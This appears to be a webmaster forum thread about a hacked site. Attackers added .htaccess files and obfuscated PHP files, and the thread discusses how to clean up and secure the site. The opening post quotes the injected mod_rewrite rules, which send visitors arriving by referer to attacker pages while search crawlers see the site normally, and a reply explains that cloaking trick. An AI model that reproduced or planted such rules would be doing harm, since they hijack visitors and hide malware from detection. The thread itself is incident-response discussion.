Htaccess hijacked.

[dr0832]

Hi I just noticed my website has been redirecting to a different website without my knowledge. The site is hosted on Luckyregister which is basically Godaddy. My Htaccess is redirecting to http://example.com/hecs.html. When I looked at Htacess there is also some russian site: http://example.tu/mhos.html which I assume has something to do with whoever did this.

Can anyone tell me exactly how to get rid of this and give me an example of the default code for the Htaccess file? I really have no clue about this sort of thing. I notice I have 3 Htacess files that have the identical code below. Also I found 3 php files on my server (called default.php) that had some sort of encrypted code in them and I read that these were somehow linked to the hack in my Htacess file.

Also if possible I would like to add the code to the default Htacess so this can't happen again. Any help would be appreciated since I have no experience with any of this, yet more knowledge than the average person.

________________________________



RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/\1$ [NC]
RewriteRule ^.*$ http://example.com/hecs.html?h=1127349 [L,R]



RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/\1$ [NC]
RewriteRule ^.*$ http://example.ru/mhos.html [L,R]

[edited by: incrediBILL at 7:01 am (utc) on Jan 13, 2013]
[edit reason] fixed URLS, use Example.com [/edit]

[lucy24]

I hope your site is not your livelihood, because the safest first step is to shut it down completely, delete everything, change all passwords, and don't put anything back until you have figured out how to prevent it from happening again. (Which, ahem, someone else will explain. You are not the first person to have this happen.)

Meanwhile, get hold of your logs-- if you're on shared hosting they live in a completely different area and should be unaffected-- and study them for clues. Look especially for things like unexpected POST requests and weird query strings. Don't bother too much about IPs and UAs. You don't care what your Russian robot looks like; you just want him to stay the #$# out, no matter what disguise he is wearing.

[dr0832]

I have been looking all around the internet and I haven't been able to find website which explained how to exactly replace the Htaccess file to the default. I assume if I delete the rogue php files and replace the code in the Htacess, it should eliminate it. I know I have to add some new code to password protect it and lock files. I am hoping someone experienced can help me this.

[not2easy]

There is not any standard default htaccess file to put in place. The htaccess file is a set of instructions for your server and your site. The advice to shut down your site until you have checked everything everywhere is because if someone was able to replace/edit your htaccess file, they may have other goodies tucked in the corners of other parts of your site or its settings. You may need to work with your host to undo the damage but it is irresponsible to continue running a compromised site - and it could hurt you seriously if other people suffer malicious attacks from visiting your compromised site. Google will start showing warnings to visitors and may remove your site from their results and it can be hard to get them to let you back in to the search results.

[dr0832]

I don't have any traffic anyway. But regardless are you saying I could just delete what ever bad code is in my Htacess?

[not2easy]

The filename is .htaccess not Htaccess and a site can run with no .htaccess file but normally it contains instructions to handle canonicalization of your site so that it redirects requests for example.com to www.example.com (if that is what you want it to do) so that there are not multiple ways to access the same content from your site. That is why I suggested that you contact your host, they can help you get to what you want, they know their server settings and the best way to use .htaccess on their servers. Normally it is a free call or chat to handle a problem like this.
Popping in a new .htaccess file does not mean that your site is ready to go. Especially if it runs on a CMS like Wordpress there may be hidden code in your database that can start even worse problems.
Is there a reason not to contact your host? A new .htaccess file is like putting a band-aid on a broken leg.

[wilderness]

You have not stated if this is a functioning website, OR a PHP-based blog?

SQL Injection is a result of vulnerability in either PHP provided by your host, or insecure PHP add-ons that you may installed.

In the event the PHP has been hacked, all the deleting and replacing in the world is NOT going to remove the "hack". It'll just return on the new pages.

In many instances, PHP takes precedence over htaccess.

Do you have an offline (local) backup of your website saved from before the hack occurred?
If SO?

Just delete all the online files and upload the backup files.

If no offline backup, than you'll likely need to re-create your site from scratch.

In any event, you'll still need to locate and coorect the PHP vulnerability

[dr0832]

This is a functioning website. It is not wordpress. I did have a php contact form I believe. I already contacting my host and am waiting a reply. I do have a backup, although there is not Htaccess file in the backup because I think I just backup the files on my hardrive, not actually the files stored on the server.

[wilderness]

I did have a php contact form I believe.

Many of these freely available scripts are the most vulnerable of PHP add-ons.

I think I just backup the files on my hardrive, not actually the files stored on the server.

Than this NEW Beginning will be a good lesson to you that in the future, you always maintain an exact backup-duplicate, and at regular intervals to multiple media sources in addition to the hard drive on your local machine.

[not2easy]

If you have a complete backup on your computer, it is possible that you do have a copy of the original .htaccess file and you just can't see it. The file is hidden by default and you will need to change your folders settings to be able to see it. If you right click on a folder you should see a way to change the settings so that it will "Show Hidden Files".

If you can see it that way, you should be able to delete the site on your server and upload the backup versions of your files/folders.

[dr0832]

Hidden files are already displayed on my computer.

[lucy24]

Tangentially: The easiest way to deal with htaccess on your local machine is to save the file without the leading . and simply insert the . when uploading. Then you don't have to face all that clutter every time you open a directory. (My own compromise is to have the text editor show leading-dot files, but the OS as a whole doesn't.) This also keeps the distinction between the "real" htaccess, intended for one specific site, and the text document you're editing. There is little relationship between, for example, the stripped-down .htaccess in my MAMP directory and the two real ones on the live site.

Getting back to the original issue: If your htaccess has been changed, then uploading a new clean one will not do an iota of good, because you haven't done anything to prevent your Russian botrunner from doing the same thing again tomorrow.

Did you find anything useful in logs?

The host should have responded to any questions yesterday. Or possibly last week. Site hacking is, or ought to be, the absolute top-priority question since it could bring down the entire server. The hackers may not care about your own site at all; it just provides potential access to all the other sites living on the same server.

[dr0832]

The hosting service did nothing for me. They said they don't help with this sort of thing which is absurd. I'd like to get my website back up and then immediately take care of securing the website.

[dr0832]

The logs seem to be showing all the same stuff. I don't see any unknown IP addresses. There aren't that many files on my website because its just about 5 pages in total.

[wheel]

The problem is that the hackers would seem to have write access to the server. That means it's entirely possible they didn't come in through your site and instead may have been wandering around the server with your site only one of many. If so, you can't fix that - your host has to. In any event, someone actually able to re-write an htaccess file implies alot more control than a typical hack.

And if they're writing files to your site/the server, you can't trust anything.

I'd be looking for a new host as part of the solution. It's possible they came in through your site, but don't discount the fact that they came in through the host.

[lucy24]

Going back to the original post: Did the hackers replace the original htaccess file, or edit it, leaving some of the original text? For present purposes, editing is worse, because it probably calls for a higher level of access.

I never bothered to look at the rules quoted. They seem to be exactly the same, right down to repeating two lines that don't need to be repeated (RewriteBase and RewriteEngine).

RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/\1$ [NC]

The first Condition does nothing on its own beyond saying that there has to be a referer; its real purpose is to create a capture that will be used by the second Condition. The [w.]* element in both conditions is a clunky way of saying "ignore the leading www. if there is one". It would also, of course, make mincemeat of any domain whose name happens to start with one or more w's. Like... er... ahem... cough-cough...

Apparently the author doesn't know about non-capturing groups-- but does know the \1 construction. I would never have thought of using this in mod_rewrite-- first because frankly it never occurred to me ;) and second because I didn't know you could use it. (Can you? If no one knows for 100% sure I'll have to figure out a test rule.)

The second condition means

{the present site}/{NAME-OF-REFERER} is not {SOME-RANDOM-TEXT}/{THE-SAME-RANDOM-TEXT}

or possibly

{the present site}/{NAME-OF-REFERER} is not {SOME-RANDOM-TEXT}/{NAME-OF-REFERER}

depending on whether the \1 refers to the capture in the present line (Condition 2) or the capture in the previous line (Condition 1).

Can anyone decode that? I don't know enough to tell if it's really brilliant or really stupid. (I incline toward #2 but DO NOT take my unsupported word on this.)

[seoskunk]

if it's really brilliant or really stupid

Site stays in search as google doesn't use a referer and crawls it normally but redirects to example.com for users and probably installs malware but stays off google's radar

In that way it's brilliant, great code for creating a zombie network

[lucy24]

What does the second Condition do?

I had a belated "D'oh!" moment as I realized that the \1 construction must be permitted or else it would lead to a 500-class error on every request. The kind where the error logs say sadly "I don't understand this directive. Maybe you were trying a module that isn't installed." (Not in those exact words, but it's pretty close.)

[dr0832]

Well I think I fixed it, although I need to find out how to secure the site now. I realized the reason I didn't have a copy of .Htacess in my back up of my site is because there never was one. The bot or whatever did this actually created a .Htacess file (3 copies in fact) and then added that code. I found 3 php files and I deleted those. I also deleted the Htacces files and now everything seems to work find. But now I need to know how to secure this so it can't happen again. I have no idea what you guys are talking about because this certainly is not my area of expertise.

[wilderness]

But now I need to know how to secure this so it can't happen again.

In any event, you'll still need to locate and coorect the PHP vulnerability

I'd be looking for a new host as part of the solution. It's possible they came in through your site, but don't discount the fact that they came in through the host.

The likelihood that your site (a mere five pages) was hacked
for its usefulness and quantity are pretty slim.

[dr0832]

I got rid of the PHP files that they added which had the code that would rewrite the .Htaccess. How should I go about finding out how to create a new Htaccess and what settings to use?

[wilderness]

I got rid of the PHP files that they added which had the code that would rewrite the .Htaccess.

You still need to locate the vulnerability that allowed the hacker to add the files in the first place.

I'm not sure a default htaccess exists, at least and unless your not attempting to accomplish something specific.

You might begin with a domain canoncalization to prevent duplicate content.
There's a very long active thread, however this portion is regarding the canoncal [webmasterworld.com]

You certainly need to review your logs further and determine the IP and UA that the hacker used to enter your site, and then add denials for both to your NEWLY created htaccess.

[not2easy]

I have no idea what you guys are talking about because this certainly is not my area of expertise.

Putting this in simpler terms might help. Suppose you came home one day and sat down to watch the news but when you turn on the TV all you can see is poor-no, on every channel. Someone snuck in and reprogrammed your remote control. Now, throwing away that remote and buying a new one is a good start, but if you don't know who or how it got messed up before, then locking the door won't help. It was already locked when they got in before... unless you were using something like "password" as a password. Since your landlord won't help, the first step is to move to a better apartment and use better locks on the doors before you move in. For all you know, that unhelpful landlord might have been handing out master keys.

A few hours of reading can save you from a lot of headaches (or worse) in the future. A good start is wilderness' suggestion for at least managing your site's canonicalization to avoid automatic duplicate content.

[dr0832]

Unfortunately that's over my head. I've actually spent about 16 hours trying to figure things out so far. I don't mind putting in the time but this is most complete foreign to me.

[wilderness]

This is about as basic as you get, unfortunately it does not provide any type of protection (at least in its current state):

<Files "robots.txt">
Order Allow,Deny
Allow from all
</Files>
<Limit GET PUT HEAD>
Order Deny,Allow
Allow from all
Deny from env=keep_out
</Limit>
RewriteEngine On
# redirect no-www to www.
RewriteCond %{HTTP_HOST} ^example\.com$ [NC]
RewriteRule ^(.*)$ http://www.example.com/$1 [R=301,L]

[wheel]

cross posted.

[edited by: wheel at 9:19 pm (utc) on Jan 15, 2013]

[wheel]

You're getting distracted with .htaccess. It's not relevant. And it *won't* stop the hackers.

Any time I've been compromised, I've brought in experts. Reviewing signs of a hack is futile even for a competent users, you need someone who's familiar with this stuff, who knows where to look. Since you haven't done that yet, I'll assume you're looking to do this on the cheap. That being the case, here's the steps you need to follow moving forward:

1) get a new host.
2) rebuild your site from scratch on the new host. And by scratch, I mean not from your backups, and not from files on your current host. If you are using some sort of CMS, start with the current version of the CMS, download from the source, install on your new source. Then cut and paste your content from the old site over to the new host. Re-upload graphics. If you have had any custom php stuff done, be careful about moving it over (could be the source of the exploit hole).

If your pages are html, cut and paste the html code over from a 'view source' in your browser. That's probably overkill, but still....
3) change your dns and quit paying your old hosting company.

Longerterm, you need to appreciate two things. First is backups. Second, is archives - and archives are not backups. When I get hacked, not only do I have backups, but I can go back and restore an archive from before I got hacked. that's not perfect, but it gets me up and running until I figure out what the heck I'm doing. Then when I have the exploit figured out, I restore from an archive prior to the hack, fix the exploit, and I'm done. I've had hackers come back and rehack while I was working on figuring it out - not the end of the world because I just reset to the archive and we had fresh signs to examine.

[lucy24]

I mean not from your backups
...
If your pages are html, cut and paste the html code over from a 'view source' in your browser.

This is going to sound recursive, but what does "backups" mean? To me it means the files on my personal hard drive where I do the editing. Even with a (truthful) .html extension their content isn't necessarily the same as the "view source" content, because HTML source shows the finished page where the original code might have "include {blahblah}".

Further question for OP: Aside from the pages, are there any databases involved? That's a whole nother area of potential mess. When I read "five pages" I assumed small site, but that's not automatically the case. One site I visit regularly has only about three* user-visible pages-- along with a humongous database behind the scenes.


* It's really at least ten, but that's got more to do with coding style than user interface.

[wheel]

By backups I meant don't start with copies of the code that originated from the server. Because that could either have an injection or an exploit in it. Instead, start with a clean copy from somewhere. If you're running on wordpress,go get a new download right from wordpress.org.


A REMINDER OF BACKUPS PEOPLE! I posted this holy cow almost 8 years ago:
[webmasterworld.com...]
and I still use that setup today, just with bigger drives and some of the stuff now onto raided drives. With the price of drives and bandwidth, there's no excuse to not have a fancy setup like that sitting in your basement. It's saved my bacon a couple of times after getting hacked - I just go back snapshot by snapshot until I find the clean version, do a restore (which gets me live) and then I've got time to diagnose and fix the problem.

I've even had them come back and re-hack while we're figuring out what went on. But by that time I've got the clean copy handy and it's just a cut and paste.

[incrediBILL]

but what does "backups" mean?

It means a copy of the site. Most people would assume it means a copy of the actual deployed working site so you can quickly restore your site to it's functioning state, not a development site or anything else.

When I do a backup it's everything on this path, subdirectories and all:
/var/www/vhosts/example.com/